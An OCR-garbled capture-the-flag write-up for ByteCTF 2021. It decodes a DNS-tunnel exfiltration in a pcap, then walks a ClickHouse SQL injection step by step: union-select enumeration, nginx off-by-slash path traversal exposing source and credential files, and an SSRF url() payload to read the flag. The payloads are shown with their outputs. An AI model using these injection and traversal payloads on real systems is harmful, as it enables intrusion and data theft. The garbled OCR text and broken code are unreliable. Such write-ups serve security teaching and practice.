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HearingNotBelieving

Hearing is not believing
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frequently

Someone wants to send secret information through a sumrepfitious channel. Could you intercept their communications?

EHE: mady M 1

frequently.pcap
DNSHiE N NE, EBEUDPHRER RIE —MA: udp.stream eq 1, BHPREXMIBEET, HFEHHMag,

M Vireshark - 358 UDP # (udp.stream eq 1) « frequently.pcap - O *
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a4 HTDNSE, RILLAEIP 10.2.173.238 [A HARIP 8.8.8.8 Kik KB HN84MAH Queries->Name FEHH —# 4 base64

M frequently.peap - a x
ZHE HRE BV BEG BRO SFW S0 BEY ZEW 18O FEH)
Ama® RBRes=FiEEaaan
[ and ip. sro=—10.2.173.238 and ip. dst—5.8.6.8 and dns. ary. nane, Len—24 [x] -]+
o Port Tine Sourcs Destination Protacol Length  Frame Tdentifiostion Info
1302 53 114.933428 10.2.173.238 8.8.8.8 DNS 84 v Oxdeda (20042) Standard query 0x55d6 A iVBORwOKGg.bytedanec.top |
1304 53 116.402194 10.2.173.238 8.8.8.8 DNS 84 v oxbdld (48413) Standard query 8xd3b9 A oAAAANSUhE.bytedanec.top
1306 53 117.732474 10.2.173.238 8.8.8.8 DNS 84 v 0xa%a (43370) Standard query Ox2afl A UgAAApIAAA.bytedanec.top
1308 53 118.878730 10.2.173.238 8.8.8.8 DNS 84 v 0x2635 (9781) Standard query ©x89c8 A FGBAMAAAAr.bytedanec.top
1310 53 120.593887 10.2.173.238 8.8.8.8 DNS 84 v 0xf033 (61491) Standard query Oxf38f A AWLxAAAABG.bytedanec.top
1312 53122.135122 10.2.173.238 8.8.8.8 DNS 84 v @xd155 (53589) Standard query 8xb@89 A dBTUEAALGP.bytedanec.top
1314 53 123.466026 10.2.173.238 8.8.8.8 DNS 84 v 0x9998 (39320) Standard query 8x447c A C/xhBQAAAA.bytedanec.top
1316 53124.797730 10.2.173.238 8.8.8.8 DNS 84 v 0x196a (6506) Standard query ©xdd99 A FzUkdCAK70.bytedanec.top
1323 53 127.465684 10.2.173.238 8.8.8.8 DNS 84 v oxb33e (45886) Standard query @xf52b A HOKAAAAPUE.bytedanec.top
1333 53 128.993326 10.2.173.238 8.8.8.8 DNS 84 v Oxbe91 (48785) Standard query 0x4146 A xURf///wEB.bytedanec.top
1339 53 130.733798 10.2.173.238 8.8.8.8 DNS 84 v oxff2e (65326) Standard query 8x9912 A AUdHRS5CQkN.bytedanec.top
1342 53 132.066087 10.2.173.238 8.8.8.8 DNS 84 v ox55fb (22011) Standard query 8xe3d3 A fX19P9m@EA.bytedanec.top
1345 53 133.498606 10.2.173.238 8.8.8.8 DNS 84 v @x20cc (8396) Standard query @xce7d A AAtmSURBVH.bytedanec.top
1350 53 135.138624 10.2.173.238 8.8.8.8 DNS 84 v 0x702f (28719) Standard query Oxde@6 A ja7ZoJuql4.bytedanec.top
1352 53 136.572577 10.2.173.238 8.8.8.8 DNS 84 v 0xb725 (46885) Standard query @x8cbc A FEYRsgAZFg.bytedanec.top
1354 53 138.207789 10.2.173.238 8.8.8.8 DNS 84 v 0x2d@5 (11525) Standard query 8x48ed A DoAhhcAAj7.bytedanec.top
1356 53139.538986 10.2.173.238 8.8.8.8 DNS 84 v 0x0429 (1065) Standard query ©x9549 A X1NDxpsQEN.bytedanec.top
1358 53 149.972688 10.2.173.238 8.8.8.8 DNS 84 v 0x2696 (9878)  Standard query 0x146c A R6xev6z9df.bytedanec.top
1360 53 142.303971 10.2.173.238 8.8.8.8 DNS 84 v 0xeb22 (60194) Standard query 0x8d12 A 108DuTlkuA.bytedanec.top
1374 53 143.636403 160.2.173.238 8.8.8.8 DNS 84 v 0xdog81 (53377) Standard query 0x7e5d A SCAAAAAAAA.bytedanec.top
1378 53 145741702  104.2.173.232 R.R.2.% DNS 24 Ax?eh5 (11957)  Standard auerv Ox7e5d A SCAAAAAAAA hvtedanec ton (S|
Answer RRs: @
Authority RRs: @
Additional RRs: @
~ Queries
~ BJRUSErkJg.bytedanec.top: type A, class IN
Name: BIRUSErkJg.bytedanec.top
[Name Length: 24]
[Label Count: 3]
Type: A (Host Address) (1)
1 ™ a
38 Ge 4d e6 25 0@ a4 83 e7 ac 41 cf 08 00 45 00 8-M-% A---E
0010 00 46 56 07 00 00 40 m 5c a0 Qa 02 ad ee 08 08 Fv @I \
08 08 f6 53 00 35 00 32 6 e2 cb6 72 01 00 00 01 5:5-2 r
00 00 00 00 00 00 Pa 42 4a 52 55 35 45 72 6b 4a B JRUSErkl
67 @9 62 79 74 65 64 61 6e 65 63 03 74 6f 70 00  g-byteda nec-top
00 01 00 o1
@ 7 Guary Fene (dns. ary. nanc), 26 bytels) B4E: w9m - BET 414 (41%) CSDjg

BT BT — 8 KB PNGk, Tsharki2ll; JFEEBNRGUEHLER T, EREHNE dis.id FRIERMEFAK

PS: FERARWLLER®HZTE, A®->EH->FBa%k , EHHZTRIOEHK, HTEESaSER

M frequently.pcap - 8 x
XHE REREO WEY NG FRO SR SO BEY BEW IR0
Am 3@ ResEF L5 Eaaan
[ ]2ns and ip. sre—10.2 175.236 and ip. dst—5.5.6.6 and dns. gry. name. Len—24. [x] -]+
o, Fort Tine Source Destination Erotosol Length  Frame Tdentifiostion Info

1314 53 123.466026 10.2.173.238 8.8.8.8 DNS 84 v 0x9998 (39320) Standard query 0x447c A C/xhBQAAAA.bytedanec.top il

1316 53 124.797730 16.2.173.238 8.8.8.8 DNS 84 v 0x196a (6506) Standard query ©xdd99 A FzUkdCAK70.bytedanec.top

1323 53 127.465684 10.2.173.238 8.8.8.8 DNS 84 v oxb33e (45886) Standard query Oxf52b A HOKAAAAPUE.bytedanec.top

1333 53 128.993326 10.2.173.238 8.8.8.8 DNS 84 v Oxbe91 (48785) Standard query 0x4146 A xURf///wEB.bytedanec.top

1339 53 130.733798 10.2.173.238 8.8.8.8 DNS 84 v oxff2e (65326) Standard query 8x9912 A AUdHRS5CQkN.bytedanec.top

1342 53 132.066087 10.2.173.238 8.8.8.8 DNS 84 v ox55fb (22011) Standard query 8xe3d3 A fX19P9m@EA.bytedanec.top

1345 53 133.498606 10.2.173.238 8.8.8.8 DNS 84 v @x20cc (8396) Standard query @xce7d A AAtmSURBVH.bytedanec.top

1350 53 135.138624 10.2.173.238 8.8.8.8 DNS 84 v ox702f (28719) Standard query Oxde@6 A ja7ZoJuql4.bytedanec.top

1352 53 136.572577 10.2.173.238 8.8.8.8 DNS 84 v/ 0xb725 (46885) Standard query @x8cbc A FEYRsgAZFg.bytedanec.top

1354 53 138.207789 10.2.173.238 8.8.8.8 DNS 84 v/ 0x2d@5 (11525) Standard query 0x48ed A DoAhhcAAj7.bytedanec.top

1356 53 139.538986 10.2.173.238 8.8.8.8 DNS 84 v/ 0x0429 (1065) Standard query ©x9549 A X1NDxpsQEN.bytedanec.top

1358 53 140.972688 10.2.173.238 8.8.8.8 DNS 84 v/ 0x2696 (9878)  Standard query 0x146c A R6xev6z9df.bytedanec.top

1360 53 142.303971 10.2.173.238 8.8.8.8 DNS 84 v Oxeb22 (60194) Standard query 0x8d12 A

1374 53 143.636408 10.2.173.238 8.8.8.8 DNS 84 v 0xde81 (53377) Standard query 0x7e5d A

1378 53 145.741208 10.2.173.238 8.8.8.8 DNS 84 v @x2eb5 (11957) Standard query 0x7e5d A

1382 53 146.948391 10.2.173.238 8.8.8.8 DNS 84 v ox30fd (12541) Standard query 0x6514 A AAAAAAAAAA.bytedanec.top

1386 53 148.246545 10.2.173.238 8.8.8.8 DNS 84 v 0x6137 (24887) Standard query 0xe306 A AAAAAAAAAA.bytedanec.top

1511 53 149.780546 10.2.173.238 8.8.8.8 DNS 84 v ox2dc@ (11712) Standard query 9xd7b6 A

> Frame 1374: 84 bytes on wire (672 bits), 84 bytes captured (672 bits)
> Ethernet II, Src: Apple ac:4l1:cf (ad:83:e7:ac:41:cf), Dst: Cisco e6:25:00 (38:0e:4d:e6:25:00)
> Internet Protocol Version 4, Src: 10.2.173.238, Dst: 8.8.8.8
> User Datagram Protocol, Src Port: 52098, Dst Port: 53
v Domain Name System (query)
Transaction ID: @x7e5d
» Flags: 0x0100 Standard qﬂeﬂf“*\—
Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
> Queries

Tsharki2EL, #RJEF|FHPythonEkE. #PNGHH] & 4b 38 B AT

tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==

4" -e dns.qry.name -e dns.id > data.txt




om base64 impo

with ( 5 ) as f:

lines f.readlines()

sorted_lines (lines), key=lines
base64_data

for line in sorted_lines:

base64 data line[:10]
with ( 5 ) as f1:
fl.write(b64decode(base64_data))

Congratulations!

You find the DNS tunnel.

BEME R BEEagE R, %50 KILLEIP 10.2.173.238 [M BH#RIP 8.8.8.8 RIXKE NTS5HIEH Queries->Name FE{H
E A o.bytedanec.top B4 S i.bytedanec.top , FEM —HEH IR E ERF

M frequently.pcap - 8 X
XHE REREO WEY NG FRO SR SO BEY BEW IR0
AmI® RERes=F LS EaaanmE
(1 dns and ip. sre=10.2.175. 235 and ip. dst—5.5.6.8 and dns. gry. nane. Len—15 [x] -]+
o Part Time Source Destination Protocel Length Frane Tdentification Info ———
— 2172 53 214.852931 10.2.173.238 8 DNS 75 v oxdbf7 (56311) Standard query 0xe2f7 Al o.Hytedanec.top |
2186 53 216.279125 10.2.173.238 8 DNS 75 v 0x29d7 (10711) Standard query @xefbd Al i.Hytedanec.top
2203 53 217.775275 10.2.173.238 8 DNS 75 v 0x6603 (26115) Standard query 8x5756 Al o.Hytedanec.top
2206 53 218.886566 10.2.173.238 8 DNS 75 v 0xda90 (55952) Standard query 0x8a3c Al i.Hytedanec.top
2211 53 220.540079 10.2.173.238 8 DNS 75/ 0x1d@a (7434) Standard query 0x5al4 Al o.Hytedanec.top
2215 53 221.601676 10.2.173.238 8 DNS 75/ @xa25f (41567) Standard query @xcead Al i.Hytedanec.top
2218 53 223.173%@1 10.2.173.238 8 DNS 75/ 0xb733 (46899) Standard query 0x8440 Al o.Hytedanec.top
2222 53 224.475574 10.2.173.238 8 DNS 75 v ox30ce (12494) Standard query 0x609a Al o.Hytedanec.top
2226 53 225.703582 10.2.173.238 8 DNS 75 v 0x9526 (38182) Standard query 0x329c Al o.Hytedanec.top
2229 53 227.403265 10.2.173.238 8. DNS 75 v 0x628b (25227) Standard query 0x6c80 Al i.Hytedanec.top
2235 53 228.833685 10.2.173.238 8 DNS 75 v Oxc8ae (51374) Standard query 0x3748 Al i.hytedanec.top
2241 53 229.893735 10.2.173.238 8.8.8.8 DNS 75 v @xe5b6 (58806) Standard query Oxbafl Al o.Hytedanec.top
2246 53 231.397336 10.2.173.238 8.8.8.8 DNS 75 v @x84fc (34044) Standard query 0x164a Al i.Hytedanec.top
2251 53 232.463243 10.2.173.238 8.8.8.8 DNS 75 v ox867e (34430) Standard query 0xa544 Al o.Hytedanec.top
2255 53 233.530214 10.2.173.238 8.8.8.8 DNS 75 v oxf28e (62094) Standard query 0x70bf Al o.Hytedanec.top
2259 53 235.080238 10.2.173.238 8 DNS 75 v @xfdac (62636) Standard query 0x28c7 Al o.Hytedanec.top
2262 53 236.143495 10.2.173.238 8 DNS 75 v @xbdc@ (48576) Standard query 0x4e46 Al o.Hytedanec.top
2267 53 237.206100 10.2.173.238 8 DNS 75 v 0x572f (22319) Standard query 0x30eb Al i.Hytedanec.top

Answer RRs: @

Authority RRs: @

Additional RRs: @

v Queries

~ o.bytedanec.top: type A, class IN
Name: o.bytedanec.top
[Name Length: 15]
[Label Count: 3]
Type: A (Host Address) (1)
Class: IN (0x0001)

[Response In: 2183] PN @

TsharkiZEL, #RJ5Pythonfaii BALHIENT], HERBFEEEE



tshark -r frequently.pcap -T fields -Y "dns and ip.src==10.2.173.238 and ip.dst==8.8.8.8 and dns.qry.name.len==1
-e dns.gry.name -e dns.id > bin_data.txt

with ( ) as f:

lines f.readlines()

sorted_list ( (lines), key=lines.index)
bin_data
for line in sorted list:
if line[:1]
bin_data
elif line[:1]
bin_data
else:
print(line)
break
flag
for idx in (o, (bin_data), 8):
flag (bin_data[idx:idx+8], 2))
print(flag)

PS C:\Users\Administrator\Downloads> python .\code.py
The first part of flag: ByteCTF{~_”"enJ@y&your

A flagHtEtE RED
ByteCTF{~_“enJOy&yOQurself wIth mlsc™ "}

WEB-double sqli

double sqli

easy sqli

hiip/39.105.175.150:30001/%id=1
hiip2/39.105.116.246:30001/%id=1
hitp/39.105.189.250:30001/?id=1

BEMEINAN 5] 53R 4, MRS BB MBEEER clickhouse

Clickhouse & 77 X4 (H 30):  https://clickhouse.com/docs/zh/


https://clickhouse.com/docs/zh/

Clickhouse Al iR 1 . hittps:/blog.csdn.net/zhangpeterx/article/details/94859999

39.105.175.150:30001/2id=1%27 X + - x
& C O ® 39.105.175.150:30001/2id=1 37 R 0 ® @ B8 & @ =

Code: 62. DB:Exception: Syntax error: failed at position 36 (" "): * . Single quoted string is not closed: " *. Stack trace: 0. DB::parseQueryAndMovePosition(DB::IParser&, char const*&, char const*, std::_ 1::basic_string, std::_ 1:allocator > const&, bool,
unsigned long, unsigned long) @ 0x1184fcbé in /usr/bin/clickhouse 1. ? @ 0xf12c0ae in /usr/bin/clickhouse 2. DB:executeQuery(std::_ 1:basic_string, std::_1:allocator > const&, DB:Context&, bool, DB:QueryProcessingStage:Enum, bool) @
0xf12bce3 in /usr/bin/clickhouse 3. DB:TCPHandler::runimpl() @ 0xf8b7cSd in /usr/bin/clickhouse 4. DB:TCPHandler:run() @ 0xf8ca1c9 in /usr/bin/clickhouse 5. Poco:Net:TCPServerConnection:start() @ 0x11f7ccbf in /usr/bin/clickhouse 6.
Poco:Net:TCPServerDispatcherzrun() @ 0x11f7e6d1 in /usr/bin/clickhouse 7. Poco::PooledThread::run() @ 0x120b4df9 in /usr/bin/clickhouse 8. Poco::Threadimpl:runnableEntry(void*) @ 0x120b0c5a in /usr/bin/clickhouse 9. start_thread @ 0x7fa3 in
/lib/x86_64-linux-gnu/libpthread-2.28.50 10. clone @ 0xfo4cf in /lib/x86_64-linux-gnu/libc-2.28.s0

HackBar Cookie Editor

Encryption + Encoding~ SQL~ XSS~ Other ~ Contribute now! HackBar v2

@ Load URL | http://39.105.175.150:30001/?id=1'
4 split URL

» | Execut
‘—+ Post data Referer User Agent Cookies Clear All

WRIEN R -

=1 union all select 'mochu7'

39.105.175.150:30001/7id=1%20 > +

<« @ O 8 39.105.175.150:30001,?id=1 union all select 'mochu?’

Welcome to ByteCTF',), (‘mochu7

HackBar Editor
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g Load URL | hitp://39.105.175.150:30001/?id=1 union all select 'mochu7"
¥ split URL

»  Execute ‘
Post data Referer User Agent Cookies Clear All CSDN @3E

ERRA

mochu7.localhost :)
mochu7.localhost :) select version

SELECT

Query id: 313faB8ld-80ad-4c42-bb50-874f1f12314a5a

version()
| 21.10.2.15 |

1 rows in set. Elapsed: 0.013 sec.

mochu7.localhost :) [

d=1 union all select version()



https://blog.csdn.net/zhangpeterx/article/details/94859999

39.105.175.150:30001,/%id=1%20 X +

« & O & 39.105.175.150:30001/%id=1 union all select version()

Welcome to ByteCTF'), ("21.3.2.5

Encryption ~ Encoding ~ SQL~ XSS~ Other =

& Load URL http://39.105.175.150:30001/?id=1 union all select version()
1§ split URL
| » | Execute .
Post data Referer User Agent Cookies Clear All

EHIEE
Clickhouse HH T WA E: default . system
default FEBRIAR T, EERRZ system FE, FKMAmysqlF ) information_schema E, T TRZHEERGRER

root@mochu7: /#

root@mochu7:/# clickhouse-client --password mochu?

ClickHouse client version 21.10.2.15 (official build).
Connecting to localhost:9000 as user default.

Connected to ClickHouse server version 21.10.2 revision 54449,

mochu7.localhost :) show databases;

SHOW DATABASES

Query id: bdb2a5b5-dce3-4631-a203-eaa373d47065
name

default
system

2 rows in set. Elapsed: 0.007 sec.

mochu7.localhost :) [

mochu7.localhost :)
mochu7.localhost :) select * from system.databases;

b0@7cce3e-5e94-45d2-a998-d84f1cO3ebe9

data_path- etadata_path uuid
default ic /var/lib/clickhouse/store/ /var/lib/clickhouse/store/b87/b87e6197-3db6-4d0a-bs7e 73db6bdea/ b87e6197-3db6-4d0a-b87e-61973db6bdea
system Atomic /var/lib/clickhouse/store/ /var/lib/clickhouse/store/a70/a709e862-13fa-4919-a709 13fa0919/ a709e862-13fa-4919-a709-e86213fat919

2 rows in set. Elapsed: 0.028 sec.




mochu?7.localhost :) [

/?id=1 union all select name from system.databases

39.105.175.150:30001/2id=1%20 X -+

— (& O 8 39.105.175.150:30001,/?id=1 union all select name from system.databases

Welcome to ByteCTF'), (‘ctf',), (‘'default

Encryption ~ Encoding ~ SQL ~ XSS~  Other -

& Load URL http://39.105.175.150:30001/?id=1 union all select name from system databases
1 split URL
| » | Execute )
Post data Referer User Agent Cookies Clear All
_ o W3R

HHBBIEE: default . ctf
BEAER

mochu7.localhost :)
mochu7.localhost :) select name from system.tables where database=

SELECT
FROM -
WHERE = 'system’

Query id: T983da33-f2e0-40el-b273-b1203123c650

name
aggregate function combinators
asynchronous metric log
asynchronous metrics

build options

clusters

collations

columns

contributors

current roles

data skipping indices
data type families
databases

detached parts
dictionaries

disks
distributed ddl queue
distribution queue
enabled roles

errors

CSDN @7 )




formats

functions

grants

graphite retentions
licenses

macros

merge tree settings
merges

metric log

metrics

models

mutations

numbers

numbers mt

one

part_moves_ between_shards CSDN @3k %]

1 union all select name fr system.tables where database='ctf"

39,105.175.150:30001/2id=1920 x +
« ¢ ¢ O 8 29.105.175.150:30001/?id=1 union all select name from system.tables where database="ctf

Welcome to ByteCTF'), (‘hint

1 FE () EEEE )

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~

& Load URL http://39.105.175.150:30001/?id=1 union all select name from system.tables where database='ctf
1§ split URL
| » | Execute .
Post data Referer User Agent Cookies Clear All
_aU WE

/?id=1 union all select name from system.tables where database='default'

39.105.175.150:30001/21d=1%20 X -+
— * (O 8 39.105.175.150:30001/?id=1 union all select name from system.tables where database="default

Welcome to ByteCTF',), (‘hello



HackBar
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& Load URL http://39.105.175.150:30001/?id=1 union all select name from system tables where database='default'
1 split URL
» ) Execute )
Post data Referer User Agent Cookies Clear All
ol W
HFR

mochu7.localhost :) select name from system.columns where table=
SELECT

‘= 'tables’
Query id: T5940B0T-2456-4c7f-b6be-ceb03ea2b644a

name

database

name

uuid

engine
is_temporary

data paths
metadata path
metadata modification time
dependencies database
dependencies_ table
create table query
engine full
partition key
sorting key
primary key
sampling key
storage policy
total rows

total bytes
lifetime rows
lifetime bytes
comment

22 rows in set. Elapsed: 0.006 sec.

mochu7.localhost :) |} . @7k ¥

/?id=1 union all select name from system.columns where table='hello'




39,105.175.150:30001/2id=1920 x +
« ¢ & O 8 29.105.175.150:30001/?id=1 union all select name from system.columns where table="hello’

Welcome to ByteCTF'), ('ByteCTF

Encryption ~ Encoding ~ SQL ~ X85S~ Other ~

@i Load URL hitp://39.105.175.150:30001/?id=1 union all select name from system.columns where table='hello’

gg Split URL

| v | Execute

[] Postdata [] Referer [] User Agent [] Cookies Clear All

/?id=1 union all select name from system.columns where table='hint'

39.105.175.150:30001/21d=1%20 X -+
— (& O 8 39.105.175.150:30001,/?id=1 union all select name from system.columns where table="hint

Welcome to ByteCTF'), ('id

() EstimEE (Dt RERSIRS B RIFIE HackBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other

& Load URL http://39.105.175.150:30001/7?id=1 union all select name from system.columns where table="hint'
1§ split URL
Execute
: [] Postdata [] Referer [] User Agent [] Cookies Clear All CSDN @3E ¢
BHEAR

/?id=1 union all select ByteCTF from default.hello




39.105.175.150:30001,/%id=1%20 X +

« & O & 39.105.175.150:30001/%id="1 union all select ByteCTF from default.hello

Welcome to ByteCTF'), ("Welcome to ByteCTF

Encryption ~ Encoding ~ SQL ~ XSS~  Other

& Load URL http://39.105.175.150:30001/?id=1 union all select ByteCTF from default.hello
1§ split URL
Execute
| : [] Postdata [] Referer [] User Agent [] Cookies Clear All
_50) -|.I/ -'EJ:

/?id=1 union all select id from ctf.hint

39.105.175.150:30001/2id=1%20 X -+

“ (O 8 39.105.175.150:30001/%id=1 union all select id from ctf.hint

Welcome to ByteCTF',), (‘'you dont have permissions to read flag

O g R

Encryption ~ Encoding ~ SQL ~ XSS~ Other ~
w Load URL http://39.105.175.150:30001/?id=1 union all select id from cif.hint
1§ split URL
Execute
| : [ Postdata [] Referer [] User Agent [ Cookies G2 Al @sE 3
-t LS 1Y e

RRREANRFGEMag, MFERRZRKElagE

/?id=1 union all select * from ctf.flag

39,105.175.150:30001/2id=19620. X Index of /files.fvarflibfclickhous X+ = X
w L O ® » & & ® =

< @ O R 39.105.175.150:30001/2id=1 union all select * from ctf.flag
Code: 497. DBzException: user_02: Not enough privileges. To execute this query it's necessary to have grant SELECT(flag) ON ctf.flag. Stack trace: 0. bool DB::ContextAccess:checkAccessimpl2 >, std::_1:basic_string_view >, std:_ 1:vector,



12DaSIC_STMING_VIEW > CONSTEY, STa__I:Dasic_STING_VIew > CONSTEY, STA__|IVECTOr, S1az__ I allocator », Sta:_Iallocator, Sta:__1:allocator » » > CONST&y

1zbasic_string, stdz:__1zallocator > const&, int) const @ Oxe64b9c1 in fusr/bin/clickhouse 1. bool DB::ContextAccess:checkAccessimpl2 >,

o allocator > > > »(DB: :AccessFlags const&, std:z__1:basic_string_view > const&, std::_1:basic_string_view > const&, std::__1:vector, std::__1:allocator >,

: :allocalor > > > (onst&) consk @ Oxe64a7dc in /usr/b\n/c\l(khouse 2. void DB:Context:checkAccessimpl, std::_1:allocator >, std::_1:basic_string, st ~_1zallocator >, stdz:_1zvector, std:_ 1zallocator >, std::_ 1:zallocator,

:allocator > > > >(DB:AccessFlags const&, std:__T:basic_string, std::__1zallocator > consté&, std::__1:basic_string, std: locator > const&, st wvector, std:_ allocator >, std: -_Tzallocator, std::__1:allocator > > > const&) const @

Oxeande in Jusr/bin/clickhouse 3. DB:Context: (he(kA((ess(DB AccessFIags const&, DB:StoragelD consl& st locator >, st locator > > > consl&) const @ Oxeadf643 in Just/bin/clickhouse 4.
:__T1ushared_ptr const&, DB:Context const&, std::_1::shared_ptr const&, std::__1:optional, st :shared_ptr (onst& DB:SelectQueryOptions const&, std::__1zvector, std::__1:allocator =,

hared_ptr const&) @ Oxec71409 in /usr/bin/clickhouse 5. DB:InterpreterSelectQuery:InterpreterSelectQuery(std::_ 1:shared ptr const&, DB:Context const&, DB::SelectQueryOptions

locator, st ::_1:allocator > > > const&) @ Oxec6f15d in fusr/bin/clickhouse 6. DB:InterpreterSelectWithUnionQuery:buildCurrentChildinterpreter(std::__1:shared_ptr const&, std:_ 1:vector,

" : locator > > > const8) @ 0xef909f5 in /usr/bin/clickhouse 7. DB:InterpreterSelectWithUnionQuery:interpreterSelectWithUnionQuery(std::__1:shared_ptr const8&, DB:Context const&,
IectQueryOonns const&, stdz:__1uvector, std::__ 1zallocator », std::_ 1:allocator, std:: :allocator > > > const&) @ 0xef8f2f0 in fusr/bin/clickhouse 8. DB:InterpreterFactory::get(st: :shared_ptr&, DB:Context&, DB:SelectQueryOptions
const8) @ Oxec25e90 in fusr/bin/clickhouse 9. ? @ 0xf12d109 in fusr/bin/clickhouse 10. DB::executeQuery(std:_ 1:basic_string, std::_1:allocator > const8, DB:Context&, bool, DB: QueryProcessmgStage :Enum, bool) @ 0xf12bce3 in fusr/bin
/clickhouse 11. DB:TCPHandle n() @ O0xf8calc9in /usr/bm/(l\ckhouse 13. Poco:: ‘CPServerConnection:start() @ 0x11f7ccbf in /usr/bin/clickhouse 14.
Poco:Net:TCPServerDispatch n() @ 0x11f7e6d1 in /usr/bin/clickhouse 15. Poco::PooledThread:run() @ 0x120b4df9 in /usr/bin/clickhouse 16. Poco:Threadimpl:runnableEntry(void*) @ 0x120b0c5a in fusr/bin/clickhouse 17. start_thread @
0x7fa3 in /lib/x86_64-linux-gnu/libpthread-2.28.s0 18. clone @ 0xf94cf in /lib/x86_64-linux-gnu/libc-2.28.50

perator()(stdz:__
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@ Load URL http://39.105.175.150:30001/2id=1 union all select * from ctf.flag
§ spitURL
») Execute
S | Post data Referer User Agent Cookies Clear All

RIEEBRY5E, (BRI CAHIERE ctf. flag X5KkK; FTERBERNIBUR
BT
Pid=0 RIL—AVEEE, fFIETEE HRATHE

39.105.175.150:30001,/2id=0 x Index of ffiles/ ® -+

<« - O & 39.105.175.150:300¢

Index of /files/

Test.

15-0ct-2021 22:50 289776

sl
=}

At
o

B ZWebfk % 2% Nginx

HTTRM.1
175 51 (A 18 5F1)

B8 2] T NginkZ LB P2 —:  of f-by-slash FCE 4R


https://cloud.tencent.com/developer/news/795592

http://39.105.175.150:30001/files../

ERE R, KT IR

39.105.175.150:30001,/2id=0 b4 Index of ffiles../app/

« 5 € ¢ O R 39.105.175.150:

Index of /files../app/

x|+

001 ffiles../app/

__pvcache [/ 15-0ct-2021 23:00 -
main.py 15-Cct-2021 19:20 649
prestart.sh 02-0ct-2021 18:29 202
reguirements. txt 15-Cct-2021 19:20 17
uwsgi.ini 02-0ct-2021 18:29 37
IFHEFTF main.py X
FEEET I
El main.py
SR PY S (649 FT)
EE: http://39.105.175.150:30001
SPEFE Firefox MfmgkERIk s 42
(O FTFF, EH(Q) Applications\sublime_text.exe (BRA) w
O E=04S)
#E BUiE
CSDN @z

main.py

from flask import Flask
import clickhouse_driver
from flask import request
app Flask(__name__ )

client clickhouse_driver.Client(host

)

@app.route(
def cttttf():
request.args.get( M)
sql
try:
a = client.execute(sql)

except Exception as e:

return (e)
if (a) 9:
return
else:
return (a)[3:-4]

if _ name_

app.run(host , debug=False, port

, database

, password




BE—NHP MBI, user 02/e4649b934ca495991b78
A2 S mh AR 5 3R B = AL PR A

o ClickHouseZ > &5/~ [V i AL RR Ak & 3 ]

— sqQLig=
BRSQL-drivenBIEEERBusers.xmi3{EdFusersFIEET:

<acces E_TF.E.!I&-;’-EI.EI‘._.}].{: faccess management>

BT SQL-drivenizZeERIAR, #BFEETaccessEREH, ZEEZMUSEHEH local_directory =H:

<locael_directory>
<!— Path to folder where users created by 50L cocmmands are stored. ——>
<!— <path>/war/lib/clickhouse/accesa/</path> ——>
<path>/ccdata/clickhouse/access/</path>

</local_directoryxr

BRI BRI E:  /var/lib/clickhouse/access

39.105.175.150:30001,/%id=0 = Index of files../var/lib/clickhous- % -

« = ¥ ¢ O 8 29.105.175.150:30001 ffiles../var/lib/clickhouse/access/

Index of /files../var/lib/clickhouse/access/

-4

CSDN @7=

",

35Ede3fa—cac4—39cc—76ba—:acce237c:bd.sql 16-0ct-2021 06:03 171
3348ealé-blcl-514f-elef-c8dee8080£89. gl 15-0Qct-2021 23:02 123
quotas.list 15-0ct-2021 23:02 1
roles.list 15-Qct-2021 23:02 1
row policies.list 15-0ct-2021 23:02 1
settings profiles.list 15-0Cct-2021 23:02 1
users.listc 15-0ct-2021 23:03 g9

CSDN @7k %)

3349ea06-blcl-514f-ele9-c8d6e8080189.5ql

ATTACH user_01 IDENTIFIED plaintext_password
ATTACH ctf user_01

53] T K 35 5Y user_01/e3b0c44298fclcl49afb
BT R REINEEFXANKS, HAOKB—TE XY

e https://clickhouse.com/docs/zh/interfaces/http/#predefined http_interface

¢ https://clickhouse.com/docs/zh/sql-reference/table-functions/url/


https://www.cnblogs.com/zhoujinyi/p/14931219.html
https://clickhouse.com/docs/zh/interfaces/http/#predefined_http_interface
https://clickhouse.com/docs/zh/sql-reference/table-functions/url/

HTTPZS i

HTTPEO F SR HRERE ST S FERClickHouse, HA{MEREE avatlPerlAEshel iR T{E, FEEMESE]F, HTTPEOAT Perl. Python¥lGo, HTTP
ENWRFE=OSIEZMREE, EcEEETNHEST.

BHMER T, clickhouse-servere{Eai23ip[] EisHTTPIER (XOTLAERSHER) .

WMBUTEE T FET ARSI 15K, E2EEA—FFE «Ok»> (FRERT) . ULNSEATERREERTH,
MBAREET — - FIEET2ENeeT (1E5R, TIREIENEE20080k=FEEY, BfEHitplRE NN E SE Y (ERRERIIET)

$ curl "http://localhost:8123/"°
ok.

BITURLFEY query ZHERARIER, HEREPOSTIER, BZGERALISHEURLEIquery 25, EfEEISIEPOSTH (RIS EEEBEATANEHETY
£09) . URLIANSIRBITE16KB, FrLUA A B SR EnzhRE R,

INFEFRAED, EoWEI200098 A KSR FIIEA AR ISR,
MREEZETETEE, FSEEIS008NAN SIS I £ RIS R HAEE.

CSDN @ )

LEAGETHIZERES, readonlySHIRE. ROTNR, BRIFENMENER, REREPOSTIENER. ILUSERBIEPOSTIEAR, EAILIBHURIZMAEE, |

SQlLE%E | FEE

url BEEMN, UrL BIE—EHLETE format F0 structure B35,
url EREOT BT RFURL FEFREIEIEHHT sELECT # INSERT BUEIAIE,
Bik

url{URL, format, structure)

28

= URL — HTTPERHTTPSERSEatklE, =0T ES ceT 8 posT iE3¢ (W T seLecT 3¢ InserT EiA]), 2584 String,
= format — FIEIETL, 28 String,

= structure — LI "UserID UInté64, Name string’ TETRIFELEE, IBEFISINZEE, 2£EL String,

REE

A table with the specified format and structure and with data from the defined vac.

i

FE—EMATT, EEENHTTPIREFFINIES string 1 UInt32 2800971, LICSVIEZUERME,

SELECT * FROM url( 'http://127.8.0.1:12345/', CSV, 'columnl String, column2 UInt32') LIMIT 3;

12 wrL HIEIEIBE A BIEF:

CREATE TABLE test_table (columnl String, column2 UInt32) ENGINE=Memory;
INSERT INTO FUNCTION url{'http://127.0.9.1:8123/2query=INSERT+INTO+test_table+FORMAT+CSV', 'CSV', 'columnl String, column2 UInt32")} VALUES ("http interface’
SELECT * FROM test_table;

AN o=
83D N @3]

IETE 3pe

>>> from urllib.parse import *
>>> quote("1 UNION ALL select * from url('http://localhost:8123/?query=select+*+from+ctf.flag&user=user_01&passw

